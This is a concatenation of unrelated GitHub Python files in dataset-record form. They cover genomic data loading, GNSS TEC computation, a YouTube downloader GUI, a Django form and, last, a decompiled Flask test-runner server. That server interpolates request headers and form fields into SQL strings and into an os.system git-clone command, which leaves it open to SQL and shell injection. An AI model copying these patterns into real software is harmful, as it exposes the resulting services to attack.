open a 'csv' please ensure the data is a pandas DataFrame\"\n data = pd.read_csv(filename, sep=sep, header=header, index_col=index_col)\n\n if filetype == \"txt\":\n data = pd.read_csv(filename, sep=sep, header=header, index_col=index_col)\n if filetype == \"sampleMap_HumanMethylation450\":\n data = pd.read_csv(filename, sep=sep, header=header, index_col=index_col)\n # except FileNotFoundError:\n # name_parts = filename.split(\"_\")\n # filename = name_parts[0]+\"-GPL13534_\"+name_parts[1]+\"_\"+name_parts[2]\n # try:\n # data = pd.DataFrame.from_csv(filename, sep = sep, header = header, index_col = index_col)\n\n # except CParserError:\n # handler = False\n # while not handler:\n # header+=1\n # handler, data = ErrorHandler(filename, header, sep, index_col)\n\n # except CParserError:\n # handler = False\n # while not handler:\n # header+=1\n # handler, data = ErrorHandler(filename, header, sep, index_col)\n if rename != None:\n data = rename_cols(data, row_name)\n return data\n\n\ndef get_data(data, probes, name=\"\", output=True, save=True, split_name=False):\n \"\"\"\n returns a DataFrame with columns being the cpg islands and rows being samples\n Data is a DataFrame of beta values with the cpg id's as the row names and sample names as column names\n probes is a dictionary with chromosomes as keys and a dict as value. The second level dict has\n chromosome cluster names as keys (such as chr1.1) and the specific cpg ids as values.\n The second level keys will become the column names of the output DataFrame\n If you want to autosave then name should be a unique name for the output file.\n This is highly reccomended so that multiple runs of this function are not required\n If you do not want to save then save should be set to False\n output being set to true will return the DataFrame as output.\n if you only want to generate the file without an output in the session set this to False and save to True\n for multiple files at a time you may run this function inside a loop\n \"\"\"\n\n data_dict = dict()\n l = len(data.columns)\n cols = list()\n time = 0\n for c in probes.keys():\n for i in probes[c].keys():\n if not time:\n cols.append(i)\n try:\n data_i = data.loc[probes[c][i]].mean(axis=0)\n data_dict.setdefault(i, data_i)\n except:\n data_dict.setdefault(i, pd.Series([0] * l, index=data.columns))\n traceback.print_exc()\n\n print(c, end=\" \")\n time += 1\n data_dict = pd.DataFrame.from_dict(data_dict, orient=\"columns\")\n data_dict = data_dict.reindex(columns=cols)\n if save:\n if split_name:\n name = make_name(\n prefix=name.split(\"_\")[0].split(\"-\")[0],\n suffix=\"_AVGS\",\n filetype=\".pickle\",\n )\n save_file(data_dict, name)\n\n if output:\n return data_dict\n\n\ndef clean(x, y):\n print(x.shape)\n\n todrop = [\n \"submitter_id\",\n \"entity_type\",\n \"entity_id\",\n \"category\",\n \"classification\",\n \"created_datetime\",\n \"status\",\n \"notes\",\n \"annotations\",\n ]\n x.drop(todrop, inplace=True)\n y.drop(todrop, inplace=True)\n mask = x.index.isnull()\n x = x[mask]\n mask = y.index.isnull()\n y = y[mask]\n print(x.shape)\n\n\ndef match_samples(x, y, dir):\n dfs = []\n for folder in os.listdir(dir):\n if \"gz\" not in folder:\n folder = os.path.join(dir, folder)\n for file in os.listdir(folder):\n file = os.path.join(folder, file)\n if \"sample_sheet\" in file:\n print(file)\n df = pd.read_csv(file, sep=\"\\t\")\n df[\"File ID\"] = df[\"File Name\"].apply(lambda x: x.split(\".\")[0])\n dfs.append(df)\n df = pd.concat(dfs, ignore_index=True)\n\n id_dict = df.set_index(\"File ID\")[\"Sample ID\"].to_dict()\n # print(id_dict)\n # print(id_dict.get(\"547a2572-97d1-4496-9953-6a7a97d7eb75\"))\n x = x.index.map(id_dict)\n y.index = y.index.map(id_dict)\n # print(y)\n\n\ndef semanticClustering():\n return\n\n\n\"\"\" sample_names = []\n for cancer in os.listdir(dir):\n if \"gz\" not in cancer:\n cancer = os.path.join(dir, cancer)\n for folder in os.listdir(cancer):\n if \".txt\" not in folder and \".tsv\" not in folder:\n folder = os.path.join(cancer, folder)\n file = os.listdir(folder)[0]\n sample_names.append(file.split(\".\")[0])\"\"\"\n\n\n\"\"\"\ndata = pd.read_csv(\n \"/work/08560/danyang/DiseaseNet/Data_2023/TCGA/TCGA.SARC.sampleMap_HumanMethylation450\",\n sep=\"\\t\",\n header=0,\n index_col=0\n)\n\"\"\"\n# print(y)\n\n# x.drop(\"annotations\", inplace=True)\n# y.drop(\"annotations\", inplace=True)\n\n\n# clean(x, y)\n\n\n# print(x.index)\n# match_samples(x, y, \"/work/08560/danyang/DXNet/data_pipeline/TCGA\")\n\n# y[\"Normal\"] = 0\n# y = y.apply(check_normal, axis=1)\n\n\n# x.to_pickle(\"x_final.pickle\")\n# y.to_pickle(\"y_final.pickle\")\n\n# print(y)\n# df = pd.read_pickle(\"C:\\\\Users\\\\joewc\\\\OneDrive\\\\Desktop\\\\CancerResearch\\\\Data_2023\\\\SARC_AVGS.pickle\")\n# df = mark_normals(df)\n\n\n# print(df.shape)\n","repo_name":"degtrdg/clinical-matching","sub_path":"backend/module/get_data.py","file_name":"get_data.py","file_ext":"py","file_size_in_byte":11263,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"937719548","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport logging\n\nimport tecs.gtb.config\nimport tecs.label as lbl\n\nNAME = 'tecs.gtb.tec'\nLOGGER = logging.getLogger(NAME)\n\n# speed of light, m/s\nC = 299792458\n\nCFG = tecs.gtb.config.CFG\n\n# TEC values to calculate (according to the CFG)\nTEC2CALC = [i for i in CFG.recFields if i in lbl.R_TEC_ALL]\n\n# для удобства\nTEC_P = (lbl.R_TEC_P1P2, lbl.R_TEC_C1P2, lbl.R_TEC_C1C5, lbl.R_TEC_C1C2,\n lbl.R_TEC_C2C5, lbl.R_TEC_C2C6, lbl.R_TEC_C2C7, lbl.R_TEC_C6C7)\n\nTEC_L = (lbl.R_TEC_L1L2, lbl.R_TEC_L1L5, lbl.R_TEC_L2L5,\n lbl.R_TEC_L2L6, lbl.R_TEC_L2L7, lbl.R_TEC_L6L7)\n\n\ndef tec_factor(f1, f2):\n \"\"\"tec_factor(f1, f2) -> the factor\n\n TEC factor to calculate TEC, TECU.\n\n Parameters\n ----------\n f1 : float\n f2 : float\n\n Returns\n -------\n factor : float\n\n \"\"\"\n return 1 / 40.308 * (f1 ** 2 * f2 ** 2) / (f1 ** 2 - f2 ** 2) * 1.0e-16\n\n\n# noinspection PyUnusedLocal\ndef plug_func(*args, **kwargs):\n return None\n\n\ndef compute_on_demand_p(func):\n \"\"\" \"\"\"\n calc_me = [t for t in TEC_P if t in TEC2CALC]\n\n if CFG.outFileModeText and calc_me:\n return func\n else:\n return plug_func\n\n\ndef compute_on_demand_l(func):\n \"\"\" \"\"\"\n calc_me = [t for t in TEC_L if t in TEC2CALC]\n if CFG.outFileModeText and calc_me:\n return func\n else:\n return plug_func\n\n\ndef compute_on_demand_l1_c1(func):\n \"\"\" \"\"\"\n if CFG.outFileModeText and (\n lbl.R_TEC_L1C1 in TEC2CALC or\n lbl.R_TEC_L2C2 in TEC2CALC\n ):\n return func\n else:\n return plug_func\n\n\n@compute_on_demand_p\ndef compute_via_p(p1, p2, f1, f2):\n \"\"\"compute_via_p(p1, p2, f1, f2) -> tec\n\n calculate a TEC value using pseudorange data.\n\n Parameters\n ----------\n p1 : float\n f1 pseudorange value, meters\n p2 : float\n f2 pseudorange value, meters\n f1 : float\n f1 frequency, Hz\n f2 : float\n f2 frequency, Hz\n \"\"\"\n\n if not f1:\n return None\n\n if not f2:\n return None\n\n # TEC P\n tec = None\n\n if p1 and p2:\n tec = tec_factor(f1, f2) * (p2 - p1)\n\n return tec\n\n\n@compute_on_demand_l\ndef compute_via_l(l1, l2, f1, f2, l0=0):\n \"\"\"compute_via_l(l1, l2, l0, f1, f2) -> tec\n\n reconstruct a TEC value using phase data.\n\n Parameters\n ----------\n l1 : float\n f1 phase value, whole cycles\n l2 : float\n f2 phase value, whole cycles\n f1 : float\n f1 frequency, Hz\n f2 : float\n f2 frequency, Hz\n l0 : float\n initial phase, Hz; default = 0\n \"\"\"\n\n if not f1:\n return None\n\n if not f2:\n return None\n\n tec = None\n\n if l1 and l2:\n # c/f = λ \n tec = tec_factor(f1, f2) * (C / f1 * l1 - C / f2 * l2) - l0\n\n return tec\n\n\n@compute_on_demand_l1_c1\ndef compute_via_l1_c1(l1, c1, f1):\n \"\"\"compute_via_l1_c1(l1, c1, f1) -> tec:\n\n reconstruct a TEC value using pseudorange and phase data (f1).\n\n Parameters\n ----------\n l1 : float\n f1 phase, whole cycles\n c1 : float\n f1 pseudorange (C/A-code), meters\n f1 : float\n f1 frequency value, Hz\n \"\"\"\n\n if not f1:\n return None\n\n tec = None\n\n if c1 and l1 and f1:\n # c/f = λ TECU\n tec = 0.5 * f1 ** 2 / 40.308 * (c1 - l1 * C / f1) * 1.0e-16\n\n return tec\n","repo_name":"gnss-lab/tec-suite","sub_path":"tecs/gtb/tec.py","file_name":"tec.py","file_ext":"py","file_size_in_byte":3507,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"67"} +{"seq_id":"46784930846","text":"graph = [\n [0, 1, 1, 0, 1, 0, 0],\n [1, 0, 0, 1, 0, 0, 0],\n [1, 0, 0, 0, 1, 1, 0],\n [1, 0, 1, 1, 0, 0, 0],\n [0, 1, 0, 0, 1, 0, 1],\n [0, 0, 1, 0, 0, 0, 1],\n [0, 0, 0, 1, 0, 1, 0]\n]\n\nvertex_list = {\n 0: \"dom\",\n 1: \"szkola\",\n 2: \"kosciol\",\n 3: \"bar\",\n 4: \"szpital\",\n 5: \"kino\",\n 6: \"teatr\"\n}\n\n\nfor row_id, row in enumerate(graph):\n from_name_place = vertex_list[row_id]\n for col_id, _ in enumerate(row):\n to_name_place = vertex_list[col_id]\n if graph[row_id][col_id] == 1:\n print(from_name_place, \"-\", to_name_place)","repo_name":"Mateusz45412/CODE-ME","sub_path":"10_algorytmy/ex_dom szkoła_03.py","file_name":"ex_dom szkoła_03.py","file_ext":"py","file_size_in_byte":571,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"1044178997","text":"# Raspberry Pi Master for Arduino Slave\n# i2c_master_pi.py\n# Connects to Arduino via I2C\n \n# DroneBot Workshop 2019\n# https://dronebotworkshop.com\n\nfrom smbus2 import SMBus\n\nnumBoards = 17 #Number of Boards in the game\nboardAddr = [x for x in range (8,8+numBoards)] # board addresses 8 - 25\nboardStoneCount = [0]*17\nwith SMBus(1) as bus: # indicates /dev/ic2-1\n print (\"Enter 1 for ON or 0 for OFF\")\n numb = 1\n while numb == 1:\n boardIndex=0\n getData = input(\">>>> \")\n if getData == 1:\n for addr in boardAddr:\n boardStoneCount[boardIndex] = bus.read_byte_data(addr, 0, 32) # read 32 bytes from address 'addr', offset 0\n print(\"Board Number \")\n print(boardIndex)\n print(\": \")\n print(boardStoneCount[boardIndex])\n print(\"\\n\")\n boardIndex = boardIndex+1\n else:\n numb = 0\n \n","repo_name":"agodoggo/FruitPunchAI_SupplyChain","sub_path":"pythonCode/masterI2C_readData.py","file_name":"masterI2C_readData.py","file_ext":"py","file_size_in_byte":905,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"1882146203","text":"def leftRotateString(s, d):\n tmp = s[d : ] + s[0 : d]\n return tmp\n \ndef isLeftover(slice, s):\n return s != leftRotateString(s, len(slice))\n\ndef MaxNumbEqualSliceWithoutLeftover(s):\n n = len(s)\n d = dict() #k:slice type v:number of equal slices\n \n #generate all type of slices and its respective number of\n #equal slices\n for i in range(n):\n sliceType = \"\"\n for j in range(i, n):\n sliceType += s[j]\n if(sliceType in d.keys()):\n d[sliceType] += 1\n else:\n d[sliceType] = 1\n \n #Obtains the maximum number of equal slices without leftover\n maxNumbEqualSlices = 0\n sliceTypeMax = \"\"\n for sliceType in d:\n if ((not isLeftover(sliceType, s)) \n and (d[sliceType] >= maxNumbEqualSlices)): \n maxNumbEqualSlices = d[sliceType] \n sliceTypeMax = sliceType\n \n return maxNumbEqualSlices","repo_name":"VictorGFM/foo-bar","sub_path":"1-1-the-cake-is-not-a-lie/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":958,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"8127067421","text":"from django import forms\nfrom .models import Tasks\n\n\nclass TaskForm(forms.ModelForm):\n title = forms.CharField(max_length=10,\n required=True,\n widget=forms.TextInput(attrs={'placeholder': 'Title',\n 'class': 'form-control',\n })\n )\n description = forms.CharField(max_length=50,\n required=False,\n widget=forms.TextInput(attrs={'placeholder': 'Description',\n 'class': 'form-control',\n })\n )\n due_date = forms.DateField(required=True,\n widget=forms.DateInput(attrs={'class': 'form-control'}))\n status = forms.BooleanField(required=False)\n\n class Meta:\n model = Tasks\n fields = ['title', 'description', 'due_date', 'status']\n","repo_name":"SamyukthaHR/todo_list","sub_path":"todo_app/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1098,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"41753549611","text":"# polish characters\nfrom __future__ import unicode_literals\n\nfrom _ast import arg\n\nfrom PyQt5.QtWidgets import QApplication, QWidget\nfrom PyQt5.QtGui import QIcon\nfrom PyQt5.QtWidgets import QLabel, QGridLayout\nfrom PyQt5.QtWidgets import QLineEdit, QPushButton, QComboBox\nfrom PyQt5 import QtCore\n\nfrom pytube import YouTube\n\n\nclass YDA(QWidget):\n def __init__(self, parent=None):\n super().__init__(parent)\n\n self.pathEdt = QLineEdit()\n self.urlEdt = QLineEdit()\n self.video = QPushButton()\n self.audio = QPushButton()\n self.error = QLabel()\n self.afterDownload = QLabel()\n # video - 0, audio - 1\n self.vora = 0\n self.downloadList = QComboBox()\n # index from list to downloa\n self.downloadIndex = 0\n self.mime_type = ''\n self.resolution = ''\n self.fps = 0\n self.video_codec = ''\n self.audio_codec = ''\n self.progressive = False\n self.abr = ''\n self.interface()\n\n def interface(self):\n\n pathText = QLabel('Path', self)\n urlText = QLabel('URL', self)\n self.error = QLabel('Error has occurred. Check path and url.')\n self.afterDownload = QLabel('File downloaded succesfully!')\n self.error.hide()\n self.afterDownload.hide()\n\n pathText.setStyleSheet('font-size: 20px;')\n pathText.setAlignment(QtCore.Qt.AlignCenter)\n urlText.setStyleSheet('font-size: 20px;')\n urlText.setAlignment(QtCore.Qt.AlignCenter)\n\n self.error.setStyleSheet('font-size: 15px; color: red;')\n self.afterDownload.setStyleSheet('font-size: 15px; color: green;')\n\n self.downloadList.setStyleSheet('font-size: 10px;')\n\n submit = QPushButton('Download', self)\n self.video = QPushButton('Video', self)\n self.audio = QPushButton('Only audio', self)\n\n self.video.setStyleSheet('font-size: 15px;')\n self.audio.setStyleSheet('font-size: 15px;')\n\n ukladT = QGridLayout()\n ukladT.addWidget(pathText, 0, 0)\n ukladT.addWidget(urlText, 0, 1)\n ukladT.addWidget(self.pathEdt, 1, 0)\n ukladT.addWidget(self.urlEdt, 1, 1)\n ukladT.addWidget(self.video, 2, 0)\n ukladT.addWidget(self.audio, 2, 1)\n ukladT.addWidget(self.downloadList, 3, 0, 1, 2)\n ukladT.addWidget(submit, 4, 0, 1, 2)\n ukladT.addWidget(self.error, 5, 0, 1, 2)\n ukladT.addWidget(self.afterDownload, 5, 0, 1, 2)\n\n self.setLayout(ukladT)\n submit.clicked.connect(self.download)\n self.video.clicked.connect(self.videoButton)\n self.video.clicked.connect(self.downloadListFill)\n self.audio.clicked.connect(self.audioButton)\n self.audio.clicked.connect(self.downloadListFill)\n self.downloadList.activated[str].connect(self.listClick)\n\n self.resize(700, 180)\n self.setWindowTitle(\"Youtube Downloader\")\n self.setWindowIcon(QIcon('YDAicon.ico'))\n self.show()\n\n def keyPressEvent(self, e):\n if e.key() == QtCore.Qt.Key_Escape:\n self.close()\n\n def download(self):\n path = self.pathEdt.text()\n url = self.urlEdt.text()\n self.error.hide()\n self.afterDownload.hide()\n\n try:\n yt = YouTube(url)\n if self.vora == 0:\n if self.progressive:\n yt.streams.filter(mime_type=self.mime_type, resolution=self.resolution,\n fps=self.fps, video_codec=self.video_codec,\n audio_codec=self.audio_codec, progressive=self.progressive).first().download(path)\n else:\n yt.streams.filter(mime_type=self.mime_type, resolution=self.resolution,\n fps=self.fps, video_codec=self.video_codec,\n progressive=self.progressive).first().download(path)\n else:\n yt.streams.filter(mime_type=self.mime_type, abr=self.abr,\n audio_codec=self.audio_codec).first().download(path)\n self.afterDownload.show()\n except:\n self.error.show()\n print('error')\n\n def videoButton(self):\n self.vora = 0\n\n if self.vora == 0:\n self.video.setStyleSheet('font-size: 15px; background-color: #C8DAFF;')\n self.audio.setStyleSheet('font-size: 15px;')\n\n def audioButton(self):\n self.vora = 1\n\n if self.vora == 1:\n self.video.setStyleSheet('font-size: 15px;')\n self.audio.setStyleSheet('font-size: 15px; background-color: #C8DAFF;')\n\n def downloadListFill(self):\n url = self.urlEdt.text()\n self.error.hide()\n self.afterDownload.hide()\n\n try:\n yt = YouTube(url)\n\n self.downloadList.clear()\n\n if self.vora == 0:\n for i in range(len(yt.streams.filter(progressive=True))):\n self.downloadList.addItem(str(yt.streams.filter(progressive=True)[i]))\n for i in range(len(yt.streams.filter(only_video=True))):\n self.downloadList.addItem(str(yt.streams.filter(only_video=True)[i]))\n else:\n for i in range(len(yt.streams.filter(only_audio=True))):\n self.downloadList.addItem(str(yt.streams.filter(only_audio=True)[i]))\n except:\n self.error.show()\n\n def listClick(self):\n items = str(self.downloadList.currentText())\n itemsList = items.split('\"')\n\n try:\n if self.vora == 0:\n if len(itemsList) > 15:\n self.audio_codec = itemsList[11]\n self.progressive = itemsList[13]\n else:\n self.progressive = itemsList[11]\n self.mime_type = itemsList[3]\n self.resolution = itemsList[5]\n self.fps = int(itemsList[7].rstrip('fps'))\n self.video_codec = itemsList[9]\n if self.progressive == 'True':\n self.progressive = True\n else:\n self.progressive = False\n else:\n self.mime_type = itemsList[3]\n self.abr = itemsList[5]\n self.audio_codec = itemsList[7]\n except:\n self.error.show()\n\n\nif __name__ == '__main__':\n import sys\n\n app = QApplication(sys.argv)\n window = YDA()\n sys.exit(app.exec_())","repo_name":"Matlosh/Python","sub_path":"Youtube Downloader/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6517,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"22124732446","text":"# uncompyle6 version 3.3.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.7.3 (default, Jun 24 2019, 04:54:02) \n# [GCC 9.1.0]\n# Embedded file name: C:\\jieyuelianhe\\old_all_server\\HGTP_server\\app\\hualala\\run.py\n# Compiled at: 2019-02-20 15:28:42\n\nfrom tempfile import mktemp\nfrom app import app\nfrom flask import send_from_directory, send_file, Response\nimport socket, os, json, urllib.request, urllib.error, urllib.parse, re, chardet, time, shutil, sqlite3, smtplib\nfrom email.mime.text import MIMEText\nimport urllib.request, urllib.error, urllib.parse\nfrom tempfile import mktemp\nfrom flask import render_template, flash, redirect, request, g, Response, stream_with_context\nfrom flask_bootstrap import Bootstrap\nfrom flask import current_app\nfrom werkzeug.utils import secure_filename\nfrom flask import Flask, render_template, session, redirect, url_for, flash, jsonify\nimport datetime, unittest, HtmlTestRunner, functools\n\ndef run_hualala(fun):\n\n def zzds():\n fun()\n if 'today_ci_pic' in list(current_app.config.keys()):\n current_app.config.pop('today_ci_pic')\n if 'seven_ci_pic' in list(current_app.config.keys()):\n current_app.config.pop('seven_ci_pic')\n if 'local_seven_pic' in list(current_app.config.keys()):\n current_app.config.pop('local_seven_pic')\n job = request.form['job'].split('<span class=\"caret\"></span>')[0]\n job = json.dumps({'name': job, 'result': ''})\n if 'job_id' in list(request.form.keys()):\n job_id = request.form['job_id']\n else:\n job_id = ''\n job = json.dumps({'name': job, 'result': '', 'job_id': job_id})\n email_detail = json.dumps({'send': request.form['send_email_user'], 'receive': request.form['email'], 'title': request.form['emali_title']})\n git_path = [ i.strip() for i in request.form['all_path'].split('#') if i.strip() != '' ]\n git_branch = [ i.strip() for i in request.form['all_branch'].split('#') if i.strip() != '' ]\n db = sqlite3.connect(current_app.config.get('DB_DIZHI'))\n cu = db.cursor()\n if request.form['run_server'] == '自动分发' or request.form['run_server'] == 'Automatic distribution':\n if len(cu.execute('select server from dingshi_run where statu=\"1\"').fetchall()) == 0:\n run_server = cu.execute('select ip from all_server where statu=\"1\" ').fetchall()[0][0]\n else:\n xiancheng_detail = [ i[0] for i in cu.execute('select server from dingshi_run where statu=\"1\"').fetchall() if i in [ z[0] for z in cu.execute('select ip from all_server where statu=\"1\" ').fetchall() ] ]\n if len(xiancheng_detail) == 0:\n run_server = cu.execute('select ip from all_server where statu=\"1\" ').fetchall()[0][0]\n else:\n all_server = [ i[0] for i in cu.execute('select ip from all_server where statu=\"1\" ').fetchall() ]\n server_num = {}\n if len(all_server) != len(list(set(xiancheng_detail))):\n for i in all_server:\n if i not in xiancheng_detail:\n run_server = i\n\n else:\n for k in xiancheng_detail:\n server_num[k] = xiancheng_detail.count(k)\n\n for z in list(server_num.keys()):\n if server_num[z] == min(server_num.values()):\n run_server = z\n break\n\n else:\n run_server = request.form['run_server']\n if 'statue' in list(request.form.keys()) and request.form['statue'] == 'shishi':\n name = cu.execute('select name from user where ip=\"%s\" order by time desc limit 0,1' % request.headers.get('X-Real-IP')).fetchall()[0][0]\n if len(cu.execute('select statu from dingshi_run where name=? and run_time=?', (name, '实时')).fetchall()) != 0 and cu.execute('select statu from dingshi_run where name=? and run_time=?', (name, '实时')).fetchall()[0][0] == '1':\n return jsonify(statu='running')\n if 'statue' in list(request.form.keys()) and request.form['statue'] == 'jiekou_shishi':\n name = cu.execute('select name from user where ip=\"%s\" order by time desc limit 0,1' % request.headers.get('X-Real-IP')).fetchall()[0][0]\n if len(cu.execute('select statu from dingshi_run where name=? and run_time=?', (name, '接口实时')).fetchall()) != 0 and cu.execute('select statu from dingshi_run where name=? and run_time=?', (name, '接口实时')).fetchall()[0][0] == '1':\n return jsonify(statu='running')\n try:\n name = request.form['name']\n except:\n name = cu.execute('select name from user where ip=\"%s\" order by time desc limit 0,1' % request.headers.get('X-Real-IP')).fetchall()[0][0]\n if 'run_time' in list(request.form.keys()):\n run_time = request.form['run_time']\n else:\n run_time = str(time.time())\n user_name = [ i.strip() for i in request.form['all_name'].split('#') if i.strip() != '' ]\n if 'statu' in request.form and 'dingshi' in request.form['statu'] and 'run_statu' in list(request.form.keys()):\n if 'everyday' not in request.form['run_statu'].strip():\n run_time = time.strftime('%Y-%m-%d', time.localtime(time.time())) + ' ' + run_time\n if request.form['statu'] == 'dingshi':\n all = cu.execute('select id from dingshi_run where name=\"%s\" and statu in (\"0\",\"1\",\"2\")order by update_time asc' % name).fetchall()\n else:\n if request.form['statu'] == 'jiekou_dingshi':\n all = cu.execute('select id from dingshi_run where name=\"%s\" and statu in (\"0\",\"1\",\"2\")order by update_time asc' % name).fetchall()\n if len(all) > 4:\n for i in all[-4:]:\n cu.execute('delete from dingshi_run where id=%s ' % i)\n strr = '#' + str(all[(-1)])\n db.commit()\n\n try:\n if 'everyday' in request.form['time'].encode('utf-8'):\n z = time.strftime('%Y-%m-%d', time.localtime(time.time())) + ' ' + request.form['time'].encode('utf-8').split('everyday')[(-1)].strip()\n timeArray = time.strptime(z, '%Y-%m-%d %H:%M')\n else:\n timeArray = time.strptime(request.form['time'].encode('utf-8').split(':')[(-1)].strip(), '%Y-%m-%d %H:%M')\n timestamp = time.mktime(timeArray)\n except:\n return jsonify(statu='error')\n\n if request.form['statu'] == 'dingshi':\n cu.executemany('INSERT INTO dingshi_run values (?,?,?,?,?,?,null,?,?,?,?,?)', [(name, time.time(), request.form['time'], request.form['all_path'], '0', email_detail, '', '{}', request.form['all_branch'], job, run_server)])\n else:\n if request.form['statu'] == 'jiekou_dingshi':\n cu.executemany('INSERT INTO dingshi_run values (?,?,?,?,?,?,null,?,?,?,?,?)', [\n (name, time.time(),\n request.form['time'],\n request.form['all_path'], '0',\n email_detail, '', '{}',\n request.form['all_branch'], job,\n run_server)])\n db.commit()\n html = ' <tr class=\"dingshi_detail\" name=\"{{i[4]}}\"><td >{{i[1]}}</td><td> {{i[2]}}</td><td>{{i[3]}}</td> </tr>'\n if request.form['statu'] == 'dingshi':\n dingshi_detail = [ [i[1], i[2], i[4], i[(-1)]] for i in cu.execute('select * from dingshi_run where name=\"%s\" and statu in (\"0\",\"1\",\"2\") order by update_time desc ' % name).fetchall() ]\n else:\n if request.form['statu'] == 'jiekou_dingshi':\n dingshi_detail = [ [i[1], i[2], i[4], i[(-1)]] for i in cu.execute('select * from dingshi_run where name=\"%s\" and run_time like \"%s\" order by update_time desc ' % (name, '接口%')).fetchall() ]\n db.close()\n for k, i in enumerate(dingshi_detail):\n i.insert(0, i[0])\n i[1] = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(float(i[0])))\n if i[(-2)].strip() in ('0', '3'):\n i[-2] = 'ready'\n elif i[(-2)].strip() in ('1', '4'):\n i[-2] = 'running'\n elif i[(-2)].strip() in ('2', '5'):\n i[-2] = 'over'\n\n s = ''\n for i in dingshi_detail:\n s += html.replace('{{i[4]}}', str(i[4])).replace('{{i[1]}}', i[1]).replace('{{i[2]}}', i[2]).replace('{{i[3]}}', i[3])\n\n return jsonify(statu='success', html=s)\n\n if len(cu.execute('select name from run where name=\"%s\"' % name).fetchall()) == 0:\n cu.executemany('INSERT INTO run values (?,?,?,?,?,?,?)', [(1, name, request.headers.get('X-Real-IP'), request.form['all_path'], time.time(), run_time, email_detail)])\n db.commit()\n else:\n cu.executemany('update run set statu=0,ip=?,mulu=?,time=?,time_run=? ,email=? where name=?', [(request.headers.get('X-Real-IP'), request.form['all_path'], time.time(), run_time, email_detail, name)])\n db.commit()\n if 'statu' not in list(request.form.keys()):\n if request.form['statue'] == 'shishi':\n if len(cu.execute('select * from dingshi_run where name=\"%s\" and run_time=\"%s\"' % (name, '实时')).fetchall()) == 0:\n cu.executemany('INSERT INTO dingshi_run values (?,?,?,?,?,?,null,?,?,?,?,?)', [(name, time.time(), '实时', request.form['all_path'], '0', email_detail, '', '{}', request.form['all_branch'], job, run_server)])\n db.commit()\n else:\n cu.executemany('update dingshi_run set statu=1,name=?,update_time=?,all_git=?,email=?,git_branch=?,run_result=\"{}\" ,job=?,server=? where name=? and run_time=\"实时\"', [(name, time.time(), request.form['all_path'], email_detail, request.form['all_branch'], job, run_server, name)])\n db.commit()\n elif request.form['statue'] == 'jiekou_shishi':\n cu.execute('delete from dingshi_run where run_time=\"接口实时\" and name=? ', (name,))\n db.commit()\n cu.executemany('INSERT INTO dingshi_run values (?,?,?,?,?,?,null,?,?,?,?,?)', [\n (name, time.time(),\n '接口实时',\n request.form['all_path'],\n '0', email_detail,\n '', '{}',\n request.form['all_branch'],\n job, run_server)])\n db.commit()\n if 'statue' not in list(request.form.keys()):\n run_dir = os.path.join(current_app.config.get('ALLRUN_FILE'), name, str(time.time()))\n try:\n os.chdir(run_dir)\n except:\n os.mkdir(run_dir)\n os.chdir(run_dir)\n os.popen('git init')\n for k, i in enumerate(git_path):\n zanshi_mulu = os.path.join(run_dir, i.split('/')[(-1)].split('.')[0] + git_branch[k])\n os.mkdir(zanshi_mulu)\n open(os.path.join(zanshi_mulu, '__init__.py'), 'w').close()\n os.chdir(zanshi_mulu)\n os.popen('git init')\n if 'http://' not in i:\n i = 'http://' + i\n i = i.split('http://')[(-1)]\n print('git clone -b %s %s' % (git_branch[k], i))\n os.system('git clone -b %s %s' % (git_branch[k], i))\n\n if 'statue' in list(request.form.keys()) and request.form['statue'] != 'jiekou_shishi':\n open(os.path.join(run_dir, '__init__.py'), 'w').close()\n for fpathe, dirs, fs in os.walk(run_dir):\n for f in dirs:\n if '.git' != f.strip() and '.idea' != f.strip():\n open(os.path.join(fpathe, f, '__init__.py'), 'w').close()\n\n try:\n os.chdir('C:\\\\\\\\')\n except:\n pass\n\n else:\n run_dir = os.path.join(current_app.config.get('ALLRUN_FILE'), name)\n s = {}\n s['name'] = name\n b = run_dir.split(os.sep)\n s['run_dir'] = run_dir\n if 'statue' in list(request.form.keys()) and request.form['statue'] != 'jiekou_shishi':\n open(os.path.join(run_dir, '__init__.py'), 'w').close()\n if 'statu' in list(request.form.keys()):\n if request.form['statu'] in ('dingshi', 'jiekou_dingshi'):\n s['id'] = request.form['id']\n else:\n if request.form['statue'] == 'dingshi':\n id = cu.execute('select id from dingshi_run where name=\"%s\" and run_time=\"%s\" ' % (name, '实时')).fetchall()[0][0]\n s['id'] = str(id)\n else:\n if request.form['statue'] == 'jiekou_shishi':\n id = cu.execute('select id from dingshi_run where name=\"%s\" and run_time=\"%s\" ' % (name, '接口实时')).fetchall()[0][0]\n s['id'] = str(id)\n else:\n if request.form['statue'] == 'url_shishi':\n id = cu.execute('select id from dingshi_run where name=\"%s\" and run_time=\"%s\" ' % (name, '实时')).fetchall()[0][0]\n s['id'] = str(id)\n if run_server.strip() != '':\n port = cu.execute('select duan_kou from all_server where ip=\"%s\"' % run_server).fetchall()[0][0]\n db.close()\n if 'statu' in list(request.form.keys()):\n s['statu'] = request.form['statu']\n else:\n if 'statue' in list(request.form.keys()):\n s['statu'] = request.form['statue']\n s['server_di'] = current_app.config.get('SERVER_DI')\n s['job_id'] = job_id\n if 'statue' not in list(request.form.keys()):\n s['run_dir'] = os.path.join(s['server_di'], s['run_dir'].split(os.sep)[(-3)], s['run_dir'].split(os.sep)[(-2)], s['run_dir'].split(os.sep)[(-1)])\n hostname = socket.gethostname()\n s['server_ip'] = socket.gethostbyname(hostname)\n s['git_path'] = git_path\n if 'statue' in list(request.form.keys()) and request.form['statue'] == 'url_shishi':\n s['statue'] = request.form['statue']\n s['git_branch'] = git_branch\n s['email_detail'] = email_detail\n 